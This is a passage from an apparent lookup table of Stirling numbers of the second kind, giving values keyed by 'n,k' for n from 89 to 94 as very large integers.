'89,28':616889777938812724849689723702187921383714565400261093975460298845673732060499793653540743869632224,
'89,29':393174540494587465404497500869467026873145939518552122769141044285831362949976661854128463598779504,
'89,30':213329628470498342198291857763794196271015493612328021529064104803296442104992845579383930007700000,
'89,31':99262807956705356704785290020382070456193191908236628281758711591006566133409756346201478141334560,
'89,32':39872163525681283597058411892505589544148119457982964046193325179199319863152630793103893483454080,
'89,33':13909526062976972222290737956509367105223919825895675310435349572671382696290488889433991919190260,
'89,34':4237304196979843679176403058604864884296929228348978671803101554540222330828416785283469606680500,
'89,35':1132837604230185426687940745713874126088041075969114375810185972334500253667687155378056699242700,
'89,36':267008619720174105388738754249838700228844567985573084544834795289465063908682909501708775748920,
'89,37':55715213263140875497876774933058623946782755274177808345291665151277488398041152526982640977620,
'89,38':10331742637048670434170371848700906129072500088770665866062779041843567439640230803223574621800,
'89,39':1708632172533494262575615817847853408390147626112301995755201760141010778141425547433719201800,
'89,40':252812705433650728843382926618855133215221327151226847250210730459238015580782709758756758640,
'89,41':33566937357552528852844776101567424353399071141933496727868445986176395436850292792971560780,
'89,42':4010244680324140643219031947367526855657061026763681402088799095340653260393075775743941920,
'89,43':432180492485481683488633251444857327045331823543160837006243937700654187840497589000081760,
'89,44':42111010212619743475277895606512722894353419877235159285661006721212765167867467634113360,
'89,45':3717766407915063178798312949517030528039286894278417628393124340329471156936133070090032,
'89,46':297967182332334331179775767725437101675139213758616588422142628313244971768654999572568,
'89,47':21718394508941959776082019098989223867164929815834094974512556372497184695338217416856,
'89,48':1442003552074560799019712898818597193981768655464751028324702600351297154265877987528,
'89,49':87342907261677635808944659152448175477231773617979223680048430863004640642523759128,
'89,50':4832759331147434069778282610927404639222541025262499875070241150623661088672391875,
'89,51':244565518030805807711930579758261092855506535912856135510642789322217029302105653,
'89,52':11331807250887048347013376754659981501914942122105953953720378885400141847969154,
'89,53':481199603046023337210599214549683291846856444316199619980786467852829104857303,
'89,54':18743038214557700183842715649791715934460047220651071376754452790981486250350,
'89,55':670130255615427078593334172633308071269775463416786539227870967443183646230,
'89,56':22006391162121228367600930807717349357902973608546588914715682346357834132,
'89,57':664086959818486745236325553497914199848925190404047339213309263465095187,
'89,58':18422728580185279074093010312510554426789986870392338517699333228185240,
'89,59':469950252938192936198526528324490783798844707453027112735916970776840,
'89,60':11025126549600945485462645868919884618960175773491462418859425208080,
'89,61':237881819573342005143025322593554467510277520175883290311608021768,
'89,62':4720006390753331948931196626405011857567228469860188542362196400,
'89,63':86104983516509540468564968566899537883323221317439219993640880,
'89,64':1443640101116242743947734331770346093387208700436738183015040,
'89,65':22233668154732123934291585311565559857809213160314107438139,
'89,66':314334942810514707529461380560734230841764120091384935673,
'89,67':4076024900919204214892797359962013637968406127135417271,
'89,68':48427857642618417215038034366220567446838523891633878,
'89,69':526537570692177591394984894349706412951431838301193,
'89,70':5231182545468880697916327027476040316382421275250,
'89,71':47408256891807517669734085101597205639342130010,
'89,72':391119607780065946770647762046634749895401180,
'89,73':2930459067864550967381820197401308844434435,
'89,74':19885098408070369814760560524928166892500,
'89,75':121808306426626509435354708169222175100,
'89,76':671011428705058253843192217934155816,
'89,77':3309310219024964245460731418731356,
'89,78':14534016195773882457467687909520,
'89,79':56481096256415315196638299920,
'89,80':192722779552708384054499160,
'89,81':571939820380979757046098,
'89,82':1458788768318678568805,
'89,83':3149527578920777395,
'89,84':5641225382314830,
'89,85':8153698933017,
'89,86':9134122866,
'89,87':7438442,
'89,88':3916,
'89,89':1,
'90,1':1,
'90,2':618970019642690137449562111,
'90,3':1454660594681284785345213270555983773778130,
'90,4':63853980867957375170249841036432659558879744259090905,
'90,5':6731612994031986537495378289489292294277758778324237253132725,
'90,6':15006514882775683094216352872239510784356386003251327701486730682547,
'90,7':2271905151085133235138637681175157135468699546471511874952441482852518680,
'90,8':47049751650445570634289410470287664568497679617629653937162906729384540436950,
'90,9':209877298886056273268324212780570124037344562632745906919103353542647324170914345,
'90,10':275363291415718373545733852464088160432520649316032003130349817116630712797577504021,
'90,11':132826950088418731442664340023576815278069476966839337114047642883723457093919632991160,
'90,12':27790877861021957430935273282877101920912712582043637526713062071086473406117514446212020,
'90,13':2860303609479392428411080590880098902816832914848047852911681985617346207891126814912708060,
'90,14':159723651367038645534031843777983654447274196312447333322366216401856499963898918289788789460,
'90,15':5230392388471319239106855602143087280520016970359701879470984540369942502059803482720640480000,
'90,16':106937328294657001546280002312164544023799326310311613960467301821280585764571336686410212166880,
'90,17':1436865486762466387777091311330193856263810893855893730393449219502643999651773852224221379835590,
'90,18':13238166503795325698780696090258887507537811579039543350731234180730453652822084574218076615167080,
'90,19':86655820127896032143677595993605712513366798693423109053290479184689136104032428133253202167732750,
'90,20':415313795515902322515925396004776097750565481779087934929488844087687447863113348656333094629974475,
'90,21':1495198198025886269327981097296882833115985288157736773113154698204094687845591897481997355490001835,
'90,22':4133739231900952628436107107583625487936330733402925228768358359491356913100855133636110806224748085,
'90,23':8945592097967800548143278988196318565313446466978046570021795084193952275097797445761513592721007800,
'90,24':15407681907230288889062586198169314960638452684550984703163902174261477342612711512393371255807459050,
'90,25':21432995109721551503889333436977034527610943750458220536455925637394640947908527298160494402554138125,
'90,26':24392431191631251504182345016039419640732205630059634613753992512408564925151634091657399596195987849,
'90,27':22973667371094736095244376506208786712937712149220567157699580474009765864576684708801473889415753760,
'90,28':18090228875788525772615663667681090109084583801877324589936987593963774931699269960246816027866527600,
'90,29':12018951452281849221580117248916731700704946811438272654280550583134783257609822987423266188234237840,
'90,30':6793063394609537731353253233783292915003610747888392768641064188384724626099762029235646363829779504,
'90,31':3290476675128364400046635848395638380413004442767663498263584164124499992240695292311629752389071360,
'90,32':1375172040778506431810654470580560935868933014563691477759945117325384801754293941725526069611865120,
'90,33':498886523603921366932652764457314704016537473712540249290559861077354948840738764144425626816732660,
'90,34':157977868760291657314288441949074773171319513589760950151740802427038941944456659589071958546327260,
'90,35':43886620345036333613254329158590459297378366887267981825159610586247731209197467223515454080175000,
'90,36':10745147914156453220682535898708067334326445523449745419424238602755242554380271897439572626203820,
'90,37':2328471510456386498810179426773007786259806513130151993320626405886732134636205553000066491920860,
'90,38':448321433470990351996350905183693056851537758647463111255677268741333051104369923049478476606020,
'90,39':76968397365854946674619388744767189056288257507150443700515647687342987787155827153138623492000,
'90,40':11821140389879523416310932882602058736999000712161375885763630978510531401372733937783989547400,
'90,41':1629057137093304411810018746783119531704583243970500213092817015892470228491644714270590750620,
'90,42':201997213931166435868044117891003552290995634266008115615598007990483832373359475374217121420,
'90,43':22594005857199853033230261759496391918606329439119597393357288416468783337534472102747457600,
'90,44':2285064941840750396400860658131417134396882298141507845575328233434015855226666164901069600,
'90,45':209410498568797586521201978334779096656121330119763952563351602036038967229993455788164800,
'90,46':17424256795202442413067998264887137205095690727174780695811685242738739858294263050428160,
'90,47':1318731724252606440655630665377930623431890915102819052224232777820612652449551218164800,
'90,48':90934565008520878129028238242281889178289825278142144334098281189359448100100360818200,
'90,49':5721806007896764953658001197288557792366125562745732988647075712638524545749542184800,
'90,50':328980873819049339297858789698818407438358824881104217433560488394187695076143352878,
'90,51':17305600750718530263086742178598720374853374356818162786113023406056729583079780178,
'90,52':833819495076932321756626171000580130955083526262365741104102491363024405396501661,
'90,53':36835386212326285219175135125793195969798333670864533812702061681600084405406213,
'90,54':1493323666632139147138105859638435952307698994231357474325526918565829362376203,
'90,55':55600202273406189506476095144623659854297697708574331034287356000356586793000,
'90,56':1902488160694215867178986297865479635312341985495395518451949178839222357622,
'90,57':59859347871774972846071487357098458749291709461577287249874310363868259791,
'90,58':1732605217469232931533720151623526356602744428886802973239870590699839107,
'90,59':46149793503538662309806075483655510670921824610120938169118434504018800,
'90,60':1131457845914249665326285280459683860936455253862514857867482483261640,
'90,61':25535917543574807799187190547126707137087104504220343127867514535928,
'90,62':530522215800048585976759513430665202679445685307214979938064198568,
'90,63':10144620352293432998450789646119682744216591412858859401961571840,
'90,64':178497949987949076081219965800201687860104578145390463706603440,
'90,65':2888828531173830799676687377022107484144807555857155166494075,
'90,66':42979774380226094631236036428574019093365645086345513192557,
'90,67':587428611172101389927278803678189144585647330609457892830,
'90,68':7369119220617256585515383696865012224353425751766520975,
'90,69':84758950020378671021291992076350309940487320734416195,
'90,70':892720348874999240249127786273029235098201327568693,
'90,71':8597168784787214452467447069689441916775712505960,
'90,72':75568868651972265837220723968954907631811014970,
'90,73':605043119734178167389520636456930295539114935,
'90,74':4401956350061758333674101676245993194479435,
'90,75':29020721390067358022412163637619830025000,
'90,76':172805175008210936727437316732218017116,
'90,77':925828315569980500743668537176470228,
'90,78':4442963482295327077143211075673916,
'90,79':18996022800030692358002113603200,
'90,80':71898918620631985920998232720,
'90,81':239049905003567744375233098,
'90,82':691560499383111399688108,
'90,83':1720199557369103092590,
'90,84':3623390511035223115,
'90,85':6334289791621275,
'90,86':8939233499493,
'90,87':9781267320,
'90,88':7783050,
'90,89':4005,
'90,90':1,
'91,1':1,
'91,2':1237940039285380274899124223,
'91,3':4363981784043854975005659454358088770896501,
'91,4':255415923473284161275680648931075851506074960810141750,
'91,5':33658065034013913555434266617696302507821453450500930524754530,
'91,6':90039096028267092597284654728815354195430610297266744533157637228007,
'91,7':15903351064110815421653557984578972187791681181686586375994791866698313307,
'91,8':376400285108715650207550422399982491705116905640583703009178206276559176014280,
'91,9':1888942739726156904985552204435601404000669561374330791925867344790555302078666055,
'91,10':2753842791456069791730606848853662174449243837722952777210417274519849775299945954555,
'91,11':1461371814264021764242853474111809056219196767284548740257654421538074658745913540406781,
'91,12':333623361282351907902665943734548799866230620461490489657670792495921404330504092987535400,
'91,13':37211737801093123526774982954724162838539740605606665725378578875096587175990766108311416800,
'91,14':2238991422748020429904856893482651261164655581289110714366038711611608345702475982871955760500,
'91,15':78615609478436827232136865875924292862247528751707975525387134321950994030860951159099395989460,
'91,16':1716227645102983343979586892596775791661309237935345525246947813680859314735201190465284035150080,
'91,17':24533650603256585593756832294925460100508584521860505030649104033366228579844726824498173669371910,
'91,18':239723862555078328965829620935990168991944419316567674043555664472650809750449296188149600452843030,
'91,19':1659698748933819936428655019968767425261506986754078615363250338689824039629438219106028917802089330,
'91,20':8392931730445942482462185516089127667524676434275181807643067360938438093366299401259915094767222250,
'91,21':31814475954059513978403528439239315593186256533091560170305737506373675892620543195778277559920013010,
'91,22':92437461299846844094922337464136643567715261423022091806017038607013946776064404837476435092434459705,
'91,23':209882357485160365235731523836098952490145599473897996339269645295952259240350196386150923438807927485,
'91,24':378729957871494733885645347744259877620636310896201679445955447266469408497802873743202423732100025000,
'91,25':551232559650269076486295922122595178150912046446006498114562043109127501040325893966405731319660912175,
'91,26':655636206092134090612630303854001945186648290132008720494059730960017329001851013681252883903649822199,
'91,27':644681450211189126075780510683676660890050433659014947871642665310672243268722121229297194610421339369,
'91,28':529500075893173457728482959201279309767306058601785655675935233104995463952156243595712322669678526560,
'91,29':366639820991962153198439063886266309429528041333587231564072954504872489402384136595521535486659424960,
'91,30':215810853290567981162177714262415519150813269248090055713512476234676522040602683864492657103127622960,
'91,31':108797840323588834132798964534048082707806748473685961214812173276244224385561316090896168687890991664,
'91,32':47295981980040570217987578906973588328218860908805790786581827918536813648378101427528463979968755200,
'91,33':17838427319707911540588195697671946168414669647077519704348420532878098113498673158491571754564042900,
'91,34':5870134061453837715618459790725856991841400935764412554449747143596678974952265190172872217391859500,
'91,35':1694009580836563333778189962499740848579562354644140314032327172945709534266368012412112851352452260,
'91,36':430711945254668649557825621512080883333130405731458816924432200285436463166887255531340068623512520,
'91,37':96898593801042753676659174689309355425939286509265369172287415620564331535919877358442032827275640,
'91,38':19364685982354019874671513823753343946618241341733750221036362618057388076602262628880248602949620,
'91,39':3450088930739333272306507066229613430046779801426330415575787528547709574803447182021884792794020,
'91,40':549814012961035883327056704048849538536248285993605479131060886827764243842065184664498205388000,
'91,41':78612483010705004300521701500709959536886913714951884622569128630101810769530167222878210322820,
'91,42':10112940122202294718267871698205268727926399883142841068947933351492791188172742679987709850260,
'91,43':1173539465790760116296945373549348404791067800148150803529961409898641515887341775792357798220,
'91,44':123136863298192870474868130717278745832069150557345942598671730687565480967507783358394520000,
'91,45':11708537377436641789854949683196476483922342153530885710926150325055769380576371675368485600,
'91,46':1010926311148109937522329898519587408090523103569803864570689123202021000711529556107860160,
'91,47':79404647835074945123882639537649876506394563737007276150350625800307534523423170304173760,
'91,48':5683590844661608590848986101007461303989802528453641980260950274909866161254368537438400,
'91,49':371303059395462360858270296909421221004229977852683060777804991108647150841827927873400,
'91,50':22170849698849231918550940682229478164284066806800943860325100132347909299556709828700,
'91,51':1211566512105694382715282640807353146555880917078830519525324682103080903813212141956,
'91,52':60664214494719010994431303070628887184517717722461181323526352956933998663697866550,
'91,53':2786094964330225438372908332667619517354395210818186033177311760487828878883030950,
'91,54':117474864210461799164632851546268737394414079359357837426280515284154869973721175,
'91,55':4551334791669479569994291092592737244294072368202945681211331498585441635991203,
'91,56':162139539272282278068499327825090519431788848896316480067596510015353038819832,
'91,57':5314470989385389319405061077220091784021969424805300891694784869579713165709,
'91,58':160350450484990482875027256151262987432250886337011859697786804624458927997,
'91,59':4455443034178014007812278605159201486187132080883938325217858226436948307,
'91,60':114037264258393642229383192311236542327109139841871829641167383499717200,
'91,61':2689148816072312941076703903834412996298768628619955788667400869953248,
'91,62':58428294923177820129746280379827949703212736993267671884027494847144,
'91,63':1169633297994534864879159261136205215565090944317323122261643224488,
'91,64':21568489151522173867648867457332590767263284414163849079184192000,
'91,65':366271804514248078060204645306638674329517069276105549528718315,
'91,66':5725493640268753045338265781307992744306940131555959037202837,
'91,67':82337491328756887756363716275012691780604016237179192012167,
'91,68':1088528718174074837742324895065009975841680281729581319130,
'91,69':13217486772023384885984531150133183610247050882441238430,
'91,70':147249374441628617838730937115462356397361413664224705,
'91,71':1503119332594891466374316528220979611189276915491853,
'91,72':14038127327729217592747339195454195266266105583800,
'91,73':119737016392567272056655730430310819206166405225,
'91,74':930787889638748284081404160499133791930593125,
'91,75':6578510454316810185355013949067480446354435,
'91,76':42153914690691389213697399709268399325816,
'91,77':244093955307099435284699794094806224672,
'91,78':1272379467189016012760839001079035676,
'91,79':5943649283497751773425378050326716,
'91,80':24747936289681251231681972220800,
'91,81':91261960925920973215392113658,
'91,82':295757865952982879149657954,
'91,83':834337062644746956373078,
'91,84':2024564360296061834250,
'91,85':4161805143323031490,
'91,86':7103063872577673,
'91,87':9790203756333,
'91,88':10466175720,
'91,89':8139495,
'91,90':4095,
'91,91':1,
'92,1':1,
'92,2':2475880078570760549798248447,
'92,3':13091945352131566162957017648454541211813726,
'92,4':1021663693897500626886766450699309065478657932011463501,
'92,5':168290325425485491250455494364162161470183118758579613433914400,
'92,6':540234609827667589597621483807158742868886169605053917699876348122572,
'92,7':111323547487871736218667503176707534129895963702416401898708076224525421156,
'92,8':3011218184220789312475825032757844512613123036805851310659801645004340106427547,
'92,9':17000861057820520860520177390342812618497731169274617711035815281321274277884008775,
'92,10':27540316857300424074211054040741057345896439046790902102896098612543288308301538211605,
'92,11':16077843799695695476463118822078753280585613683967759095611409054193341095980348890429146,
'92,12':4004941707202486916596234178288697407450986642305170424632307164372594926624795029390831581,
'92,13':484086214775492957755977444355148665700882858493348144919579196168751554692210463501035953800,
'92,14':31383091656273379142194771491711841819143717878653156666849920541437613427010654526315692063800,
'92,15':1181473133599300428911957845032347044194877586856908743595173053540876518808616743369362895602400,
'92,16':27538257931126170330905527147424336959443195335717236379476552153215700029794079998603643958390740,
'92,17':418788287900464938437845735906329597500307246109563931046281716380906745172095557206934236414472550,
'92,18':4339563176594666506978690009142748501955508132220078637814651064541080804087932058211190981820546450,
'92,19':31774000092297657121110275000342571248960577167644061365945312099579307562709775459202699038692540300,
'92,20':169518333357852669585672365341751320775755035672257714768224597557458585906955426244304330813146534330,
'92,21':676496926765695736028936282740114755124436063629197945384063554994785631838397706512603743853087495460,
'92,22':2065438624550690084066694952650245474082922007839577579902680586860680504966037449620259849593478126520,
'92,23':4919731683458535244516747385694412550841064049322676007609218880413915909304118921718947674185016791860,
'92,24':9299401346401033978491219869698336015385417060982738303042200379691218063187619166223009093009208527485,
'92,25':14159543949128221646043043400809139331393437472046364132310006524994656934505950222903345706723622829375,
'92,26':17597773918045755432414683822326645753003767589878233230960115048069578055088452249678980712814556289349,
'92,27':18062035361794240494658704092313271789218009998925412313028411694348167897257348286872277138385025985162,
'92,28':15470683575220045942473303368319497334374620074509013306797829192250545233929096941909242229361420083049,
'92,29':11162054884660075900483215811903002283223619257275815371034050913746297656621296204865836851782801850400,
'92,30':6840965419709001588063770491758731883953926118776288902969447241545168150620464652530301248580488113760,
'92,31':3588543903321821839278945614817906083092822471932354853372689847798247477993003482682273886427748364544,
'92,32':1622269263684887081108401489557202909210810297555471266385430666669422261133660561771807016046891158064,
'92,33':635964083530401651057398036930147811885902959262363941030079705503514051393834315657750331880582170900,
'92,34':217422985409138393871615828582351083891022301463067546555639823415165183261875689624369227145887265900,
'92,35':65160469390733554397855108478216786692126083348309323545581198196696512674275145624596822014727688600,
'92,36':17199639610004634717859912336934652648572256960976657723311886383221422208274309211540355321798902980,
'92,37':4015959915893250535594215085016527034092884006574277476299066578246316729995922717793695283232711200,
'92,38':832756661130495508914176699991936425397432457495147877571669195106745078446805857255891479739361200,
'92,39':153918154281188017494625289406708267718442653597360636428492076231418061493936702727733755521916400,
'92,40':25442649449180768605388775228183594971496711241170549580818223001658279328486054568601813008314020,
'92,41':3772925816399941059648446465577957879548611748306632748656395160661938485392802040802504828623620,
'92,42':503355968143201382467772312825331246109795708806951209518382329392799040672785359782362024033740,
'92,43':60575137151204979719036522760827250133942315289513325620736273977134376371328439039059095173720,
'92,44':6591561450911246417191143125109613221402110424671372277871517560151522678457684243561716678220,
'92,45':650021045282841751018340866461120187608574547466235799590348495315075103093444508749976372000,
'92,46':58211147690249698915882125015097497256086404917741863481177849992348735413306731256330052960,
'92,47':4742944759396632358344813956789131603891067599209145843637168535816475123312418560404026880,
'92,48':352217008378832157484633972386008019097905085102782091202876238995981110263632860101216960,
'92,49':23877440755039264272904230649569101133197071443235111958373394839233576552503937003235000,
'92,50':1479845544337923956785817331020895129218433318192730253794059997726042615819663419308400,
'92,51':83960741816239645437030355363404488638633993577821300356116658919605035394030529068456,
'92,52':4366105665831082954425710400480055280150802238646811948348695035863648834325501202556,
'92,53':208327247604220959228195444702012721604300663895825041081923876262788929244498506900,
'92,54':9129737631695162593263082316166131336652755496223509254196459585832191857463974400,
'92,55':367798277752283175514318861638869285830588059610519849892903747706354159953237340,
'92,56':13631148990917287141830253450797806332474247906396668564996736059445211809901795,
'92,57':465064385667249469274587809226635751121041106110218630894199247581396689265245,
'92,58':14614797117514837326156641933993345055092520832351988754166419537798330989535,
'92,59':423221589501493309335951693855655875117291679109164220885640439984238878110,
'92,60':11297678889681632541575270143833394025813680471396248103687901236419980307,
'92,61':278075342038804731635062130445135735101334026187689132749878836566865328,
'92,62':6311703101309337789120973287383745877897958322202551445477105550476176,
'92,63':132115192696833516617133313831408878283813466485259028586511017989888,
'92,64':2550016603691953992408686778405491024669941146823809463329431512488,
'92,65':45376156444948298941562169402264104598681893917110709798550882475,
'92,66':744154384771985779052530186872966195453775117958798845984105557,
'92,67':11242105559295464525014634771733843093607409219446964902018026,
'92,68':156357444164593976722841809139433370137838275394790721713007,
'92,69':2000535305443688394875257544424199644948726792618026770800,
'92,70':23524942982937388134695696748215548558062349838936967780,
'92,71':253970847055865911951307410619151908791800074664146268,
'92,72':2513864500191395133052124950293681670360436517525453,
'92,73':22778929524386628452883207516866885068316253165225,
'92,74':188615320225834645078679638307246719809030296475,
'92,75':1424176173712509047983030206679194825407175750,
'92,76':9782207970809355765596016326971878795116451,
'92,77':60949149249338045730619283854568478625560,
'92,78':343339553747842684280045236178971007400,
'92,79':1741927760585338402861443867054846240,
'92,80':7923484186672251871959935827990716,
'92,81':32140155124680850062128733427098,
'92,82':115514105934065569305664065886,
'92,83':365007842152496876528623428,
'92,84':1004400468909616150450078,
'92,85':2378317797478519510900,
'92,86':4772668636364711368,
'92,87':7954811599378644,
'92,88':10711227219693,
'92,89':11190590775,
'92,90':8508045,
'92,91':4186,
'92,92':1,
'93,1':1,
'93,2':4951760157141521099596496895,
'93,3':39275836056394700964751131516124173433689625,
'93,4':4086654775603094452899197368960193279563086269257667730,
'93,5':841451628149091150149778098707577258050224659271555999181035501,
'93,6':3241407827256330963071220153298446821375478487813442264778871522649832,
'93,7':779265372649711981198262119858436546068014614803084418344874233448026070664,
'93,8':24089856797313802371542818929565932808439114190410512901680311868110945376841532,
'93,9':153010760738568908533994072338118071410992193646508365250632997333536472841062506522,
'93,10':275420169434062061262971060584800916271582888199078295646672021940714204357293266124825,
'93,11':176883822113509950665168518096907027143787646962692140953828395694739295344092139332932211,
'93,12':48075378330229538694631273258286447642692425321346012854683297381525332460593520701580408118,
'93,13':6297125733788610937744303010795221351518928147055831054379161857358142805925360820542858230981,
'93,14':439847369402602800948482778328320934133712933159637541480818466776295339532841373831920724847000,
'93,15':17753480095645779812821562446976917504742307520732284310594445723654585395556261805066759126099800,
'93,16':441793600031618025723400392203821738395286002958332690815220007504992076995513896721027666229854240,
'93,17':7146939152239030123774283037555027494464666379198304064166265730628630367955418552516485663004424090,
'93,18':78530925466604462064054265900475802632699453626070979411710000878120361218754872605008371909184308650,
'93,19':608045564930250151808073915015651602232206474317457244590775580956547924495573665783062472716978812150,
'93,20':3422140667249351048834557581835368986764061290612798356730437263248751025701818300345289315301623226900,
'93,21':14375953795437463126193334302884161178388912371885414567833559252447956854513307263008982951727983938990,
'93,22':46116146666880877585496225241045515184948720236099904703243036465929756741091221598158320434909606278900,
'93,23':115219267344097000707951884823621734143427395142261125754914714836380746418960772649156056355848864339300,
'93,24':228105363997083350728306024258454476920091073512908395280622027993003149425806978911071165906406021451500,
'93,25':363288000074606575129567304889926819300221353862141841610792363504557641425836374738806651761099779261860,
'93,26':471701665818317862888824822781301928909491394808880428137272997774803686366805708714556844239902086352449,
'93,27':505272728686490248788199694314784984061890037560864365682727230795470111281036855995230463449210257888723,
'93,28':451241175467955526883911198405259197151707372085177784903367629077363434447272062660331059560504788310534,
'93,29':339170275230362247056486561913506563547859578535507659066785305690893177275946686883018510931062673744649,
'93,30':216391017475930123542396330564664958801841402820564482460117468160101342175235235780774874309197445263200,
'93,31':118085826422685478605711084551113820459831422748679289357522832523290839968403572615680791727840687414624,
'93,32':55501160341238208434747793280648399177838751993707435377706471181219759834270141459380098399928265422592,
'93,33':22609084020188141566002536708252080701445607953213481320378060948285385957130192978477567968106102797764,
'93,34':8028345587441107042692336208730084664180661209006660523921833701619130282297607762886304054840749211500,
'93,35':2498039414084812797796544625319938618115435218653893870650981760299543126861505786485257997661356366900,
'93,36':684347495350900404240811952607864282040727333943469001584809107992667712172150277240049613599488195880,
'93,37':165790156498054904534845870482546152910008965204224924346377349778335141218123449769907080801409217380,
'93,38':35660713038852079874332929684710111199195317391389896824022495992302629710974545293517571513328436800,
'93,39':6835564678096828191204562986853558866416695947792212698282860168132049476710337263637507945094100800,
'93,40':1171624132248418761710176298534052066578311103244182619661220996297749234633378885471806275854477200,
'93,41':180132607921578352050975080316879868032989792921742492275730424588797757229590938241504510981882440,
'93,42':24913876478414399123294883604241870216160031518198583548428452995159498193649787151661709838040700,
'93,43':3108086865645015510386342791540903001869315266256024211210042110409577224639908238461903116503700,
'93,44':350603840991299822075446820265650231875635173975053705847083046623801374223466545755774629015400,
'93,45':35842508488639125213016482115860021663787965060651983259437199849329902317662687137310653418220,
'93,46':3327733839034327901148918617155605061388549173682361519724529594963116932105554146541158808160,
'93,47':281129551381891419758088380984186682638966582080571718132124771175723066208990403595319316320,
'93,48':21649361161580575917607244631317516520590511684142686221375228007623568415966795845262440960,
'93,49':1522211605375756106856941274214893974624561585821302577163172586118426361336325773259731960,
'93,50':97869717971935462112195097200613857594118737352871624648076394725535707343487107968655000,
'93,51':5761843376966145874074365454554524049788766990661616571956009602625899420915220401799656,
'93,52':310998236439455959067167296188367363206475709987455521670248800784514774778956591601368,
'93,53':15407449788854793793520068969686729525178737425125539125690660477791462084283922068256,
'93,54':701333079715759739264401889774983813783549460691894540808532693897727289547553124500,
'93,55':29358642908070737246550619706303942057335098774802100998306165709681670654892028100,
'93,56':1131142621243651255456813054883546440449145942368733289532720967035286021307737860,
'93,57':40139818973950506890481758576716044146373590954679130525966093171584823098020760,
'93,58':1312722618483110034191673041398249764316407314386633978635851580773699886658275,
'93,59':39584870898102942576977791871477041687012729899792677786419205496868424798025,
'93,60':1101082322882391261830467902485659516666112507392939107106914514169437696530,
'93,61':28260274754048721171314060100986673866995056068845285201430510266998765315,
'93,62':669400934319983674560562474262927979531007442164247322369459380696388240,
'93,63':14634960241209849336000372058762505209778206710773870246427299683839120,
'93,64':295316255333118572131289267649360303862689699881982834239594634789120,
'93,65':5499466772613593423610227789552657823584264251436005600235238873363,
'93,66':94490345839899360359029161735879873498631051702391433633501849237,
'93,67':1497375457244781902228510716579133682725471535661745494419313299,
'93,68':21874411762487854942167877793215312262980411946292733978502502,
'93,69':294394380240208475969234579704703145639300424085434568898207,
'93,70':3647281314249305564303956316799288044013091281343614515400,
'93,71':41556873123903867883238522902175334082280155140091352808,
'93,72':434969091069646361531060407040296989057751503925978884,
'93,73':4176726355471619010112599099024964280347522998586878,
'93,74':36736463221098392188705500751603142334184495104375,
'93,75':295428533254272823677406903808186331714568477725,
'93,76':2167623979494020086168327447529057613836026026,
'93,77':14475292463008385286853701183773651649284571,
'93,78':87729634441669775104462812276528217202760,
'93,79':480951846834084418106099301676303860360,
'93,80':2375806495519118552618238733294103520,
'93,81':10526836751771400726992363235585654,
'93,82':41612311811274226745193186829750,
'93,83':145809756832722810057539810410,
'93,84':449377481540904633166429980,
'93,85':1206557481695290308876578,
'93,86':2788767300205884688548,
'93,87':5464737245510653396,
'93,88':8897399594711628,
'93,89':11707189798668,
'93,90':11956314825,
'93,91':8888971,
'93,92':4278,
'93,93':1,
'94,1':1,
'94,2':9903520314283042199192993791,
'94,3':117827508169184107846013551689893619897565770,
'94,4':16346619102451653647653184176805524249768469250464360545,
'94,5':4207258144832110526351984946437083659211316575920866265162845235,
'94,6':19448447804989613927518471069568779635830128977105312860229228316934493,
'94,7':5454860849955811124718797910229209120922923679100078741856384413007705144480,
'94,8':192719633643883068684323749698647320904058981537898906297860839819121011040802920,
'94,9':1377120936503917490608318193861992208631738181932765697768598656313696366514939400230,
'94,10':2754354705101359181538244599920347280787239874184429464831970852404475580045773723754772,
'94,11':1945997463418043519378116670126562099497935699477812628787759024664072962989370825928379146,
'94,12':577081423784867974286240447617534278739452891503114846397153396973998728822466340558297829627,
'94,13':81910709917582171729370570413596164017388758337047149719783787443037381809490284187758737410871,
'94,14':6164160297370227824216503199607288299223499992381981411785837696725492896265704594467433006088981,
'94,15':266742048804089299993271919482982083505268325744143902200397504321595076272876768449833307616344000,
'94,16':7086451080601534191387227837708124731829318354854055337354114565803527817323778609341509418803767640,
'94,17':121939759188095130129886212030639289144294614449329501781641737428191708332237629289501283937305063770,
'94,18':1420703597551119347276751069246119474883054831648475933474946281536795132305543125442667180028321979790,
'94,19':11631396659141357346417458651197856245044622465657758626636446039052530926634654522483195353531781739500,
'94,20':69050858909917271128499225551723031337513432286573424379199520845931568438531939672688848778749443350150,
'94,21':305317170371436076698894577942402753732931221100206504281235181564655844970481270823533931301589285945690,
'94,22':1028931180466816770007110289605885495247260757566083318039180361502902605158520182422492032519739322074790,
'94,23':2696159295581111893868389576184345400483778808508105797066281477702686924377188992528747616619433486082800,
'94,24':5589748003274097418187296467026529180225613159452062612489843386668456332638328266514864038109593379175300,
'94,25':9310305365862247728967488646506624959425624920066454435550431115606944185071716347381237459933900502998000,
'94,26':12627531311350871010239012697203776970946997618893032973179890305649453486962784801317284601998554024425534,
'94,27':14114065340353554580170216569280496498580522408952218301570908229252496690954800820585779357368579049347970,
'94,28':13140025641789245001537713249662042504309696455945842342977020844961646275804654610484500131143344330583675,
'94,29':10287179157148460691522021493896949540039635149614899897840141494113265575449725982267867876561322326905355,
'94,30':6830900799508265953328376478853455327603101663152442132870309350493933442533003760306264740206986031640649,
'94,31':3877051636579179960319439951649193393056615508029622452543325276382117381195745986866879417872258755116544,
'94,32':1894122957342308148517640469531862594150671486547317221444129910322323154665048099315843940525545180937568,
'94,33':801600933007446880112831504652967062325543814449752318950182482474637496419566509749139841347429657748804,
'94,34':295572833993185781017541967805074959283588089059439939133720406803335815555248856916611905832691575988764,
'94,35':95459725080409554965571398094927936298220893861892945996706195312103139722450310289870333972988222053000,
'94,36':27134549246717227350465774919203052771581619240618777927704109648035580765058915767127044087242931418580,
'94,37':6818583285778931872030109160462071939711059046499791202400771049791067937242717918726611603251629238940,
'94,38':1520897251974433939759497198501530378479431026077041003659232197485835070235156170923574798307889815780,
'94,39':302247735484628379331310886171998906989446459355286192057054042549452559302677698575380381371998368000,
'94,40':53700529968033578659611614928215641529549140077559517484731700020042018862045492682509758979273188800,
'94,41':8557061057033131195800154591526126655930892613035624802966168404438457281046607353373491226111657240,
'94,42':1226515420014983115229360191695038417111711116686083001309725450385496681362881998611296324179591840,
'94,43':158561611701150066069907623640500699296540587967207624630460263742771318853165841405523543847699800,
'94,44':18534655869262207681706002883229513204397262921158387268481696161856837690472436251715986793181300,
'94,45':1963516722980060456661188515479351206746093601704392952521757039843646978518287466934754032835300,
'94,46':188918265084218208665866738505017854487661227050040613166765561217633281194518177878203958593580,
'94,47':16540822753983224629779072523412379145419978531469232271934393840222101043928103115521166675200,
